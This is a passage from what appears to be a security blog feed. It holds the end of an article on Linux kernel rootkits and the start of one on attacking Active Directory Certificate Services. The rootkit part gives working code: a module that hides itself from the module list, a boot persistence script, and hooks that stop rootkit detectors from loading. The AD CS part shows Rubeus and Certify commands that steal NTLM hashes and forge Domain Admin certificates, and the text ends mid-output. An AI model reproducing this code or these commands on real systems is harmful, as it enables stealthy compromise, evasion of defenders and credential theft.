kernel.ftrace_enabled = 1
root@infect:~/1337# echo 0 &gt; /sys/kernel/debug/kprobes/enabled
root@infect:~/1337# ls
root@infect:~/1337#
</code></pre></div></div>

<p>This is also a way to make an LKM rootkit “useless”, preventing it from performing any action, as most current and public rootkits use ftrace. Of course, this is not 100% foolproof, as you just need to turn ftrace back on. However, many people don’t know (I think) that it is possible to disable ftrace on the machine. Despite this, disabling ftrace and trying to analyze the machine looking for suspicious processes, directories, etc., is still ineffective.</p>

<h2 id="hiding">Hiding</h2>

<p>Hiding an LKM from tracing is relatively easy, with some specific techniques, we can also manipulate the way functions are registered and exposed in the kernel tracing system.</p>

<p>A method that helps a lot with this is to use static or notrace functions, like this code here:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@infect:~/hidden_func# cat lkm.c
#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include &lt;linux/init.h&gt;

static void mtz(void) {
    printk(KERN_INFO "So eh um pequeno exemplo! Func escondida.\n");
}

static int __init inferi_init(void) {
    printk(KERN_INFO "LKM carregadoo!\n");
    mtz();
    list_del(&amp;THIS_MODULE-&gt;list);
    return 0;
}

static void __exit inferi_exit(void) {
    printk(KERN_INFO "LKM removido!!\n");
}

module_init(inferi_init);
module_exit(inferi_exit);

MODULE_LICENSE("GPL");
MODULE_AUTHOR("et bilu");
MODULE_DESCRIPTION("brazilian phonk estragou o phonk.");
root@infect:~/hidden_func#
</code></pre></div></div>

<p>In the example above, “mtz” is a static function that will not be exported and therefore will not appear in the list of functions available for tracing. Being prevented from registering it as a tracepoint.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@infect:~/hidden_func# insmod lkm.ko
root@infect:~/hidden_func# lsmod|grep lkm
root@infect:~/hidden_func# cat /sys/kernel/tracing/available_filter_functions|grep lkm
root@infect:~/hidden_func# cat /sys/kernel/tracing/available_filter_functions|grep mtz
root@infect:~/hidden_func#
root@infect:~/hidden_func#
root@infect:~/hidden_func# cat /proc/kallsyms|grep lkm
ffffffffc0b69010 T inferi_init	[lkm]
root@infect:~/hidden_func# cat /proc/kallsyms|grep mtz
ffffffff911f8300 T _RNvXsa_NtCs3AkgXgqgK6r_4core3fmtzNtB5_5Debug3fmt
ffffffff911f8300 T _RNvXsb_NtCs3AkgXgqgK6r_4core3fmtzNtB5_7Display3fmt
ffffffff9253527c r __ksymtab__RNvXsa_NtCs3AkgXgqgK6r_4core3fmtzNtB5_5Debug3fmt
ffffffff9253533c r __ksymtab__RNvXsb_NtCs3AkgXgqgK6r_4core3fmtzNtB5_7Display3fmt
root@infect:~/hidden_func#
</code></pre></div></div>

<p>And that’s it, hidden function!</p>

<h2 id="persistence">Persistence</h2>
<p>I will show a good persistence method using <code class="language-plaintext highlighter-rouge">/etc/modules-load.d/</code>.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/bash

if [ "$(id -u)" -ne 0 ]; then
    echo "This script must be run as root."
    exit 1
fi

read -p "Enter the full path to the *.ko: " ROOTKIT_PATH

if [ ! -f "$ROOTKIT_PATH" ]; then
    echo "Error: '$ROOTKIT_PATH' was not found."
    exit 1
fi

read -p "Enter the name of the rootkit (without .ko): " ROOTKIT_NAME

CONF_DIR="/etc/modules-load.d"
MODULE_DIR="/usr/lib/modules/$(uname -r)/kernel"

echo "Copying $ROOTKIT_PATH to $MODULE_DIR..."
mkdir -p "$MODULE_DIR"
cp "$ROOTKIT_PATH" "$MODULE_DIR/$ROOTKIT_NAME.ko"

echo "Running depmod..."
depmod

echo "Configuring the module to load on startup..."
echo "$ROOTKIT_NAME" &gt; "$CONF_DIR/$ROOTKIT_NAME.conf"

echo "$ROOTKIT_NAME will be loaded automatically at startup."
</code></pre></div></div>

<p>This script essentially makes an LKM load automatically whenever the system is started. It copies the module to the directory <code class="language-plaintext highlighter-rouge">/usr/lib/modules/$(uname -r)/kernel</code> and makes the necessary configuration to have it loaded at boot by modifying configuration files in <code class="language-plaintext highlighter-rouge">/etc/modules-load.d</code>. This way, the rootkit will be loaded every time the system restarts.</p>

<p>And, of course, if you go to the directory <code class="language-plaintext highlighter-rouge">/usr/lib/modules/$(uname -r)/kernel</code>, you will find the .ko file of your rootkit there. But that’s not the main concern, because it’s possible to implement a hook to hide the rootkit’s name, and even if you go to this directory, the file will be invisible. The same applies to <code class="language-plaintext highlighter-rouge">/etc/modules-load.d/</code>.</p>

<h2 id="protecting">Protecting</h2>

<p>Protecting your LKM rootkit is essential against LKM rootkit hunters, such as ‘ModTracer’ (which I wrote), and also ‘nitara2’, which is a great LKM rootkit detector.</p>

<p>Protecting an LKM rootkit against this is actually very easy; you just need to hook the finit_module and init_module functions.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#include &lt;linux/module.h&gt;
#include &lt;linux/kernel.h&gt;
#include "ftrace_helper.h"

MODULE_LICENSE("GPL");
MODULE_AUTHOR("matheuzsec");
MODULE_DESCRIPTION("Hooking init_module and finit_module");
MODULE_VERSION("1.0");

static asmlinkage long (*hooked_init_module)(struct file *file, const char *uargs, unsigned long flags);
static asmlinkage long (*hooked_finit_module)(struct file *file, const char *uargs, unsigned long flags);

static asmlinkage long hook_init_module(struct file *file, const char *uargs, unsigned long flags) {
    return 0;
}

static asmlinkage long hook_finit_module(struct file *file, const char *uargs, unsigned long flags) {
    return 0;
}

static struct ftrace_hook hooks[] = {
    HOOK("__x64_sys_init_module", hook_init_module, &amp;hooked_init_module),
    HOOK("__x64_sys_finit_module", hook_finit_module, &amp;hooked_finit_module),
};

static int __init insmod_init(void) {
    int err;

    err = fh_install_hooks(hooks, ARRAY_SIZE(hooks));
    if (err) {
        return err;
    }

    return 0;
}

static void __exit insmod_exit(void) {
    fh_remove_hooks(hooks, ARRAY_SIZE(hooks));
}

module_init(insmod_init);
module_exit(insmod_exit);
</code></pre></div></div>

<p>The logic and functionality of the code above is actually very simple.</p>

<p>It works by replacing them with functions that return 0. Returning 0 indicates success, but by doing so, it blocks the execution of the original logic needed to load other LKMs, thus preventing the loading of new modules.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dumbledore@infect:~$ sudo insmod insmod.ko &amp;&amp; sudo dmesg -C
dumbledore@infect:~$
dumbledore@infect:~$ sudo insmod modtracer.ko
dumbledore@infect:~$
dumbledore@infect:~$ dmesg
dumbledore@infect:~$ lsmod|grep modtracer
dumbledore@infect:~$
</code></pre></div></div>

<p>And that’s it, now you can implement this to protect your rootkit.</p>

<h2 id="the-power-of-ebpf-in-detecting-rootkits">The power of eBPF in detecting rootkits</h2>
<p>In my opinion, detection of more modern LKM rootkits can be accomplished in a few ways using features like eBPF. Projects such as Aqua Security’s tracee and bpf-hookdetect are the most effective in this regard, easily identifying the syscalls that are being hooked. It is important to remember that these tools are only aimed at detection, mitigation is still very complex and is an open field of study. I believe that using eBPF to detect hooked syscalls is one of the best approaches currently, remembering that eBPF can also be used to create rootkits/hookar syscalls, and here are two tools that I consider very useful in this detection aspect:</p>

<ul>
  <li><a href="https://github.com/aquasecurity/tracee">https://github.com/aquasecurity/tracee</a></li>
  <li><a href="https://github.com/pathtofile/bpf-hookdetect">https://github.com/pathtofile/bpf-hookdetect</a></li>
</ul>

<h2 id="final-considerations">Final Considerations</h2>
<p>Rootkits in itself is a very interesting subject, especially when it comes to detection and mitigation, as it is very complex, and it is also a very open field of study, with several ideas and very cool topics to talk about, anyway, I hope If you liked it, please Any feedback or questions, don’t hesitate to contact me on Twitter (@MatheuzSecurity) or contact Humzak711 on discord (serpentsobased). Thanks for taking the time to read!</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@infect:~# rmmod inferi
root@infect:~# dmesg
[ 1337.001337]
[ 1337.001337]      .  . '    .
[ 1337.001337]      '   .            . '            .                +
[ 1337.001337]              `                          '    . '
[ 1337.001337]        .                         ,'`.                         .
[ 1337.001337]   .                  .."    _.-;'    `.              .
[ 1337.001337]              _.-"`.##%"_.--" ,'        `.           "#"     ___,,od000
[ 1337.001337]           ,'"-_ _.-.--"\   ,'            `-_       '%#%',,/////00000HH
[ 1337.001337]         ,'     |_.'     )`/-     __..--""`-_`-._    J L/////00000HHHHM
[ 1337.001337] . +   ,'   _.-"        / /   _-""           `-._`-_/___\///0000HHHHMMM
[ 1337.001337]     .'_.-""      '    :_/_.-'   INFERI        _,`-/__V__\0000HHHHHMMMM
[ 1337.001337] . _-""                         .        '   _,////\  |  /000HHHHHMMMMM
[ 1337.001337]_-"   .       '  +  .              .        ,//////0\ | /00HHHHHHHMMMMM
[ 1337.001337]       `                                   ,//////000\|/00HHHHHHHMMMMMM
[ 1337.001337].             '       .  ' .   .       '  ,//////00000|00HHHHHHHHMMMMMM
[ 1337.001337]     .             .    .    '           ,//////000000|00HHHHHHHMMMMMMM
[ 1337.001337]                  .  '      .       .   ,///////000000|0HHHHHHHHMMMMMMM
[ 1337.001337]  '             '        .    '         ///////000000000HHHHHHHHMMMMMMM
[ 1337.001337]                    +  .  . '    .     ,///////000000000HHHHHHHMMMMMMMM
[ 1337.001337]     '      .              '   .       ///////000000000HHHHHHHHMMMMMMMM
[ 1337.001337]   '                  . '              ///////000000000HHHHHHHHMMMMMMMM
[ 1337.001337]                           .   '      ,///////000000000HHHHHHHHMMMMMMMM
[ 1337.001337]       +         .        '   .    .  ////////000000000HHHHHHHHMMMMMMhs
[ 1337.001337]
[ 1337.001337]        Paper by Matheuz &amp; Humzak711
[ 1337.001337]
[ 1337.001337]
root@infect:~# kill `ps aux`;
Connection to 1337rootkit closed.
</code></pre></div></div>

<h2 id="references">References</h2>
<ul>
  <li>https://github.com/MatheuZSecurity/detect-lkm-rootkit-cheatsheet</li>
  <li>https://github.com/ksen-lin/nitara2</li>
  <li>https://github.com/MatheuZSecurity/ModTracer</li>
  <li>https://github.com/MatheuZSecurity/Rootkit</li>
  <li>https://github.com/MatheuZSecurity/Imperius</li>
  <li>https://rezaduty-1685945445294.hashnode.dev/ebpf-cheatsheet</li>
  <li>https://phrack.org/issues/71/12</li>
  <li>https://xcellerator.github.io/tags/rootkit/</li>
  <li>https://github.com/DualHorizon/blackpill</li>
  <li>https://github.com/rphang/evilBPF</li>
  <li>https://github.com/a13xp0p0v/kernel-hardening-checker</li>
  <li>https://github.com/gianlucaborello/libprocesshider</li>
  <li>https://github.com/hackerschoice/bpfhacks</li>
  <li>https://github.com/carloslack/KoviD</li>
  <li>https://github.com/m0nad/Diamorphine</li>
</ul>]]></content><author><name>matheuz &amp; humzak</name></author><category term="linux" /><category term="rootkit" /><summary type="html"><![CDATA[An advanced and deep introduction about Linux kernel mode rookits, how to detect, what are hooks and how it works.]]></summary></entry><entry><title type="html">Forget Golden Tickets, live the era of Certificates</title><link href="https://inferi.club/blog/adcs/" rel="alternate" type="text/html" title="Forget Golden Tickets, live the era of Certificates" /><published>2025-01-11T03:07:00+00:00</published><updated>2025-01-11T03:07:00+00:00</updated><id>https://inferi.club/blog/adcs</id><content type="html" xml:base="https://inferi.club/blog/adcs/"><![CDATA[<ul id="markdown-toc">
  <li><a href="#unpac-the-hash" id="markdown-toc-unpac-the-hash">UnPAC-The-Hash</a></li>
  <li><a href="#persistence-by-user-certificate" id="markdown-toc-persistence-by-user-certificate">Persistence by user certificate</a></li>
  <li><a href="#persistence-by-machine-certificate" id="markdown-toc-persistence-by-machine-certificate">Persistence by machine certificate</a></li>
  <li><a href="#golden-certificate-persistence" id="markdown-toc-golden-certificate-persistence">Golden Certificate persistence</a></li>
  <li><a href="#certsync-against-dcsync" id="markdown-toc-certsync-against-dcsync">Certsync against DCsync</a></li>
  <li><a href="#conclusion" id="markdown-toc-conclusion">Conclusion</a></li>
</ul>

<p>When we talk about persistence in Active Directory environments, several methods come to mind. One of the most well-known among attackers is the Golden Ticket, which involves capturing the NTLM hash of the “user” krbtgt and ultimately issuing tickets on behalf of any user. In persistence scenarios, you will always be looking for high-value users such as DA (Domain Admins) and EA (Enterprise Admins).</p>

<p>However, the Golden Ticket technique is already well-known by defenders and relatively easy to detect in more mature environments, particularly where there is monitoring of logs, Kerberos traffic.</p>

<p>With the growing use of ADCS in corporate environments and similar settings, new exploitation techniques and vulnerabilities continue to emerge, such as the ESC (ESC1, 2, 3, 4… 11, 14). We all know that if ADCS is poorly configured, exploiting any of its vulnerabilities can quickly compromise the entire domain.</p>

<p>But is ADCS only useful for privilege escalation? In this article, I want to show that ADCS can also be leveraged for various types of persistence and even for credential theft in a more <span style="color: red;">OPSEC</span> friendly manner.</p>

<h2 id="unpac-the-hash">UnPAC-The-Hash</h2>

<p>When Using <a href="https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-pkca/d0cf1763-3541-4008-a75f-a577fa5e8c5b">PKINIT</a> to obtain a TGT (Ticket Granting Ticket), the KDC (Key Distribution Center) includes in the ticket a PAC_CREDENTIAL_INFO structure containing the user’s NTLM keys (i.e., LM and NT hashes). This feature allows users to switch to NTLM authentication when remote servers do not support Kerberos while still relying on a Kerberos pre-authentication mechanism using asymmetric verification (i.e., <strong>PKINIT</strong>).</p>

<p>The NTLM hashes can then be retrieved after making a TGS-REQ through U2U, combined with S4U2self, which is a Service Ticket request sent to the KDC where the user requests to authenticate themselves.</p>

<p>The diagram below shows how UnPAC-The-Hash works, but why is this technique advantageous for us as attackers? The advantage is that by generating a user’s certificate and using the technique, you will always obtain the current NTLM HASH of that user, meaning:</p>
<ul>
  <li>Even if the user changes their password, the certificate will remain valid for use (One of the other advantages of ADCS as well, LOL 🤣).</li>
  <li>Even if the user changes their password, with UnPAC, you will always be able to extract the NTLM hash of their current password..</li>
</ul>

<p><img src="/assets/img/articles/adcs/unpac.png" alt="unpac" /></p>

<p>In the future, we will combine this technique with another one known as CertSync, which is a way to perform “DCSync” but using certificates. Now, let’s perform this in a lab; locally, I have an AD environment already set up with ADCS and configured templates.</p>

<p>To execute this technique, the only requirement is that you need to know the certificate’s password. So, whenever you’re executing, ensure it’s from a certificate you created or from a certificate with a weak password that you’ve managed to brute-force.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">.</span><span class="n">\Rubeus.exe</span><span class="w"> </span><span class="nx">asktgt</span><span class="w"> </span><span class="nx">/getcredentials</span><span class="w"> </span><span class="nx">/user:paulo.victor</span><span class="w"> </span><span class="nx">/certificate:</span><span class="s2">"C:\Tools\esc4-DA.pfx"</span><span class="w"> </span><span class="nx">/password:Senha</span><span class="w"> </span><span class="nx">/domain:corp.local</span><span class="w"> </span><span class="nx">/dc:corp-dc</span><span class="w"> </span><span class="nx">/show</span><span class="w">


</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Action:</span><span class="w"> </span><span class="nx">Ask</span><span class="w"> </span><span class="nx">TGT</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="kr">Using</span><span class="w"> </span><span class="n">PKINIT</span><span class="w"> </span><span class="nx">with</span><span class="w"> </span><span class="nx">etype</span><span class="w"> </span><span class="nx">rc4_hmac</span><span class="w"> </span><span class="nx">and</span><span class="w"> </span><span class="nx">subject:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">Daniel</span><span class="w"> </span><span class="nx">Moura</span><span class="p">,</span><span class="w"> </span><span class="nx">OU</span><span class="o">=</span><span class="n">Usuarios</span><span class="p">,</span><span class="w"> </span><span class="nx">OU</span><span class="o">=</span><span class="n">Inferi</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">CORP</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">LOCAL</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="nx">Building</span><span class="w"> </span><span class="nx">AS-REQ</span><span class="w"> </span><span class="p">(</span><span class="n">w/</span><span class="w"> </span><span class="nx">PKINIT</span><span class="w"> </span><span class="nx">preauth</span><span class="p">)</span><span class="w"> </span><span class="kr">for</span><span class="p">:</span><span class="w"> </span><span class="s1">'corp.local\paulo.victor'</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="kr">Using</span><span class="w"> </span><span class="n">domain</span><span class="w"> </span><span class="nx">controller:</span><span class="w"> </span><span class="nx">10.0.0.10:88</span><span class="w">
</span><span class="p">[</span><span class="o">+</span><span class="p">]</span><span class="w"> </span><span class="n">TGT</span><span class="w"> </span><span class="nx">request</span><span class="w"> </span><span class="nx">successful</span><span class="o">!</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">base64</span><span class="p">(</span><span class="n">ticket.kirbi</span><span class="p">):</span><span class="w">

</span><span class="n">doIGVjCCBlKgAwIBBaEDAgEWooIFbTCCBWlh....</span><span class="w">

</span><span class="n">ServiceName</span><span class="w">  </span><span class="p">:</span><span class="w">  </span><span class="nx">krbtgt/corp.local</span><span class="w">
</span><span class="n">ServiceRealm</span><span class="w"> </span><span class="p">:</span><span class="w">  </span><span class="nx">CORP.LOCAL</span><span class="w">
</span><span class="n">UserName</span><span class="w"> </span><span class="p">:</span><span class="w">  </span><span class="nx">paulo.victor</span><span class="w">
</span><span class="n">UserRealm:</span><span class="w">  </span><span class="nx">CORP.LOCAL</span><span class="w">
</span><span class="n">StartTime:</span><span class="w">  </span><span class="nx">1/10/2025</span><span class="w"> </span><span class="nx">11:33:04</span><span class="w"> </span><span class="nx">PM</span><span class="w">
</span><span class="n">EndTime</span><span class="w">  </span><span class="p">:</span><span class="w">  </span><span class="nx">1/11/2025</span><span class="w"> </span><span class="nx">9:33:04</span><span class="w"> </span><span class="nx">AM</span><span class="w">
</span><span class="n">RenewTill:</span><span class="w">  </span><span class="nx">1/17/2025</span><span class="w"> </span><span class="nx">11:33:04</span><span class="w"> </span><span class="nx">PM</span><span class="w">
</span><span class="n">Flags:</span><span class="w">  </span><span class="nx">name_canonicalize</span><span class="p">,</span><span class="w"> </span><span class="nx">pre_authent</span><span class="p">,</span><span class="w"> </span><span class="nx">initial</span><span class="p">,</span><span class="w"> </span><span class="nx">renewable</span><span class="p">,</span><span class="w"> </span><span class="nx">forwardable</span><span class="w">
</span><span class="n">KeyType</span><span class="w">  </span><span class="p">:</span><span class="w">  </span><span class="nx">rc4_hmac</span><span class="w">
</span><span class="n">Base64</span><span class="p">(</span><span class="n">key</span><span class="p">)</span><span class="w">  </span><span class="p">:</span><span class="w">  </span><span class="n">YJHc9</span><span class="o">+</span><span class="nx">T6Rdt8PrWc5eEdZQ</span><span class="o">==</span><span class="w">
</span><span class="n">ASREP</span><span class="w"> </span><span class="p">(</span><span class="n">key</span><span class="p">)</span><span class="w">  </span><span class="p">:</span><span class="w">  </span><span class="mi">51901227</span><span class="n">A9A7C2FDF729D40313291627</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Getting</span><span class="w"> </span><span class="nx">credentials</span><span class="w"> </span><span class="nx">using</span><span class="w"> </span><span class="nx">U2U</span><span class="w">

</span><span class="n">CredentialInfo</span><span class="w"> </span><span class="p">:</span><span class="w">
</span><span class="n">Version</span><span class="w">  </span><span class="p">:</span><span class="w"> </span><span class="nx">0</span><span class="w">
</span><span class="n">EncryptionType</span><span class="w">   </span><span class="p">:</span><span class="w"> </span><span class="nx">rc4_hmac</span><span class="w">
</span><span class="n">CredentialData</span><span class="w">   </span><span class="p">:</span><span class="w">
</span><span class="n">CredentialCount:</span><span class="w"> </span><span class="nx">1</span><span class="w">
</span><span class="n">NTLM</span><span class="w">  </span><span class="p">:</span><span class="w"> </span><span class="o">**</span><span class="nx">E15E48546D35C3F2EF7FB995A4A9548E</span><span class="o">**</span><span class="w">
</span></code></pre></div></div>

<p>As you can see, I was able to capture the NTLM hash of my user, who is the owner of the template I used and also a Domain Admin within the environment. And as I mentioned, no matter how many times the user changes their password, you will always capture the current hash, all of this without even touching the <strong>LSASS</strong> process.</p>

<h2 id="persistence-by-user-certificate">Persistence by user certificate</h2>

<p>It is also possible to create persistence in the environment through certificates for the user. The idea here is that you already have elevated access within the environment, such as a Domain Admin, to issue this certificate on behalf of a high-privilege user you want to maintain access to.</p>

<p>The step-by-step would be:</p>
<ul>
  <li>Gain access to a high-privilege user (i.e., DA &amp; EA).</li>
  <li>Request a certificate for that user using a template that allows <strong>Client Authentication</strong>.</li>
</ul>

<p>By default, ADCS has some templates that allow <strong>Client Authentication</strong>, such as the <strong>User</strong> template, which we will use to generate the certificate for our user. Typically, these certificates have a validity of 1 year, but when they are about to expire, you can simply reissue the same certificate.</p>

<p>In the context below, I have a low-privileged user in my environment, and I will be issuing the certificate in the name of a template vulnerable to ESC1. This will result in a ticket with the Domain Admin user, which will be our target for persistence.</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">.</span><span class="n">\Certify.exe</span><span class="w"> </span><span class="nx">request</span><span class="w"> </span><span class="nx">/ca:CORP-DC.CORP.LOCAL\CORP-CA</span><span class="w"> </span><span class="nx">/template:</span><span class="s2">"CORP - Kerberos Authentication"</span><span class="w"> </span><span class="nx">/altname:paulo.victor</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Action:</span><span class="w"> </span><span class="nx">Request</span><span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="nx">Certificates</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Current</span><span class="w"> </span><span class="nx">user</span><span class="w"> </span><span class="nx">context:</span><span class="w"> </span><span class="nx">CORP\daniel.moura</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">No</span><span class="w"> </span><span class="nx">subject</span><span class="w"> </span><span class="nx">name</span><span class="w"> </span><span class="nx">specified</span><span class="p">,</span><span class="w"> </span><span class="nx">using</span><span class="w"> </span><span class="nx">current</span><span class="w"> </span><span class="nx">context</span><span class="w"> </span><span class="nx">as</span><span class="w"> </span><span class="nx">subject.</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Template</span><span class="w">                </span><span class="p">:</span><span class="w"> </span><span class="nx">CORP</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">Kerberos</span><span class="w"> </span><span class="nx">Authentication</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Subject</span><span class="w">                 </span><span class="p">:</span><span class="w"> </span><span class="nx">CN</span><span class="o">=</span><span class="n">Daniel</span><span class="w"> </span><span class="nx">Moura</span><span class="p">,</span><span class="w"> </span><span class="nx">OU</span><span class="o">=</span><span class="n">Usuarios</span><span class="p">,</span><span class="w"> </span><span class="nx">OU</span><span class="o">=</span><span class="n">Inferi</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">CORP</span><span class="p">,</span><span class="w"> </span><span class="nx">DC</span><span class="o">=</span><span class="n">LOCAL</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="nx">AltName</span><span class="w">                 </span><span class="p">:</span><span class="w"> </span><span class="nx">paulo.victor</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Certificate</span><span class="w"> </span><span class="nx">Authority</span><span class="w">   </span><span class="p">:</span><span class="w"> </span><span class="nx">CORP-DC.CORP.LOCAL\CORP-CA</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">CA</span><span class="w"> </span><span class="nx">Response</span><span class="w">             </span><span class="p">:</span><span class="w"> </span><span class="nx">The</span><span class="w"> </span><span class="nx">certificate</span><span class="w"> </span><span class="nx">had</span><span class="w"> </span><span class="nx">been</span><span class="w"> </span><span class="nx">issued.</span><span class="w">
</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Request</span><span class="w"> </span><span class="nx">ID</span><span class="w">              </span><span class="p">:</span><span class="w"> </span><span class="nx">21</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">cert.pem</span><span class="w">         </span><span class="p">:</span><span class="w">

</span><span class="o">---</span><span class="nt">--BEGIN</span><span class="w"> </span><span class="n">RSA</span><span class="w"> </span><span class="nx">PRIVATE</span><span class="w"> </span><span class="nx">KEY-----</span><span class="w">
</span><span class="n">MIIEowIBAAKCAQEAveH2b8bqL7smcl</span><span class="w">
</span><span class="o">...</span><span class="w">
</span><span class="o">---</span><span class="nt">--END</span><span class="w"> </span><span class="n">CERTIFICATE-----</span><span class="w">

</span><span class="p">[</span><span class="o">*</span><span class="p">]</span><span class="w"> </span><span class="n">Convert</span><span class="w"> </span><span class="nx">with:</span><span class="w"> </span><span class="nx">openssl</span><span class="w"> </span><span class="nx">pkcs12</span><span class="w"> </span><span class="nt">-in</span><span class="w"> </span><span class="nx">cert.pem</span><span class="w"> </span><span class="nt">-keyex</span><span class="w"> </span><span class="nt">-CSP</span><span class="w"> </span><span class="s2">"Microsoft Enhanced Cryptographic Provider v1.0"</span><span class="w"> </span><span class="nt">-export</span><span class="w"> </span><span class="nt">-out</span><span class="w"> </span><span class="nx">cert.pfx</span><span class="w">
</span></code></pre></div></div>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">C:\Tools\openssl\openssl.exe</span><span class="w"> </span><span class="nx">pkcs12</span><span class="w"> </span><span class="nt">-in</span><span class="w"> </span><span class="nx">esc1.pem</span><span class="w"> </span><span class="nt">-keyex</span><span class="w"> </span><span class="nt">-CSP</span><span class="w"> </span><span class="s2">"Microsoft Enhanced Cryptographic Provider v1.0"</span><span class="w"> </span><span class="nt">-export</span><span class="w"> </span><span class="nt">-out</span><span class="w"> </span><span class="nx">esc1-DA.pfx</span><span class="w">

    </span><span class="n">Enter</span><span class="w"> </span><span class="nx">Export</span><span class="w"> </span><span class="nx">Password:</span><span class="w">
    </span><span class="n">Verifying</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="nx">Enter</span><span class="w"> </span><span class="nx">Export</span><span class="w"> </span><span class="nx">Password:</span><span class="w">

    </span><span class="n">Get-PfxCertificate</span><span class="w"> </span><span class="nt">-FilePath</span><span class="w"> </span><span class="o">.</span><span class="nx">\sora-DA.pfx</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">select</span><span class="w"> </span><span class="o">*</span><span class="w">

    </span><span class="n">EnhancedKeyUsageList</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="n">Client</span><span class="w"> </span><span class="nx">Authentication</span><span class="w"> </span><span class="p">(</span><span class="mf">1.3</span><span class="o">.</span><span class="nf">6</span><span class="o">.</span><span class="nf">1</span><span class="o">.</span><span class="nf">5</span><span class="o">.</span><span class="nf">5</span><span class="o">.</span><span class="nf">7</span><span class="o">.</span><span class="nf">3</span><span class="o">.</span><span class="nf">2</span><span class="p">),</span><span class="w"> </span><span class="n">Server</span><span class="w"> </span><span class="nx">Authentication</span><span class="w"> </span><span class="p">(</span><span class="mf">1.3</span><span class="o">.</span><span class="nf">6</span><span class="o">.</span><span class="nf">1</span><span class="o">.</span><span class="nf">5</span><span class="o">.</span><span class="nf">5</span><span class="o">.</span><span class="nf">7</span><span class="o">.</span><span class="nf">3</span><span class="o">.</span><span class="nf">1</span><span class="p">),</span><span class="w"> </span><span class="n">Smart</span><span class="w"> </span><span class="nx">Card</span><span class="w"> </span><span class="nx">Logon</span><span class="w"> </span><span class="p">(</span><span class="mf">1.3</span><span class="o">.</span><span class="nf">6</span><span class="o">.</span><span class="nf">1</span><span class="o">.</span><span class="nf">4</span><span class="o">.</span><span class="nf">1</span><span class="o">.</span><span class="nf">311</span><span class="o">.</span><span class="nf">20</span><span class="o">.</span><span class="nf">2</span><span class="o">.</span><span class="nf">2</span><span class="p">),</span><span class="w"> </span><span class="n">KDC</span><span class="w"> </span><span class="nx">Authentication</span><span class="w"> </span><span class="p">(</span><span class="mf">1.3</span><span class="o">.</span><span class="nf">6</span><span class="o">.</span><span class="nf">1</span><span class="o">.</span><span class="nf">5</span><span class="o">.</span><span class="nf">2</span><span class="o">.</span><span class="nf">3</span><span class="o">.</span><span class="nf">5</span><span class="p">)}</span><span class="w">
    </span><span class="n">DnsNameList</span><span class="w">          </span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="n">Daniel</span><span class="w"> </span><span class="nx">Moura</span><span class="p">}</span><span class="w">
    </span><span class="n">SendAsTrustedIssuer</span><span class="w">  </span><span class="p">:</span><span class="w"> </span><span class="nx">False</span><span class="w">
    </span><span class="n">Archived</span><span class="w">             </span><span class="p">:</span><span class="w"> </span><span class="nx">False</span><span class="w">
    </span><span class="n">Extensions</span><span class="w">           </span><span class="p">:</span><span class="w"> </span><span class="p">{</span><span class="n">System.Security.Cryptography.Oid</span><span class="p">,</span><span class="w"> </span><span class="nx">System.Security.Cryptography.Oid</span><span class="p">,</span><span class="w"> </span><span class="nx">System.Security.Cryptography.Oid</span><span class="p">,</span><span class="w"> </span><span class="nx">System.Security.Cryptography.Oid...</span><span class="p">}</span><span class="w">
    </span><span class="n">FriendlyName</span><span class="w">         </span><span class="p">:</span><span class="w">
    </span><span class="n">IssuerName</span><span class="w">           </span><span class="p">:</span><span class="w"> </span><span class="nx">System.Security.Cryptography.X509Certificates.X500DistinguishedName</span><span class="w">
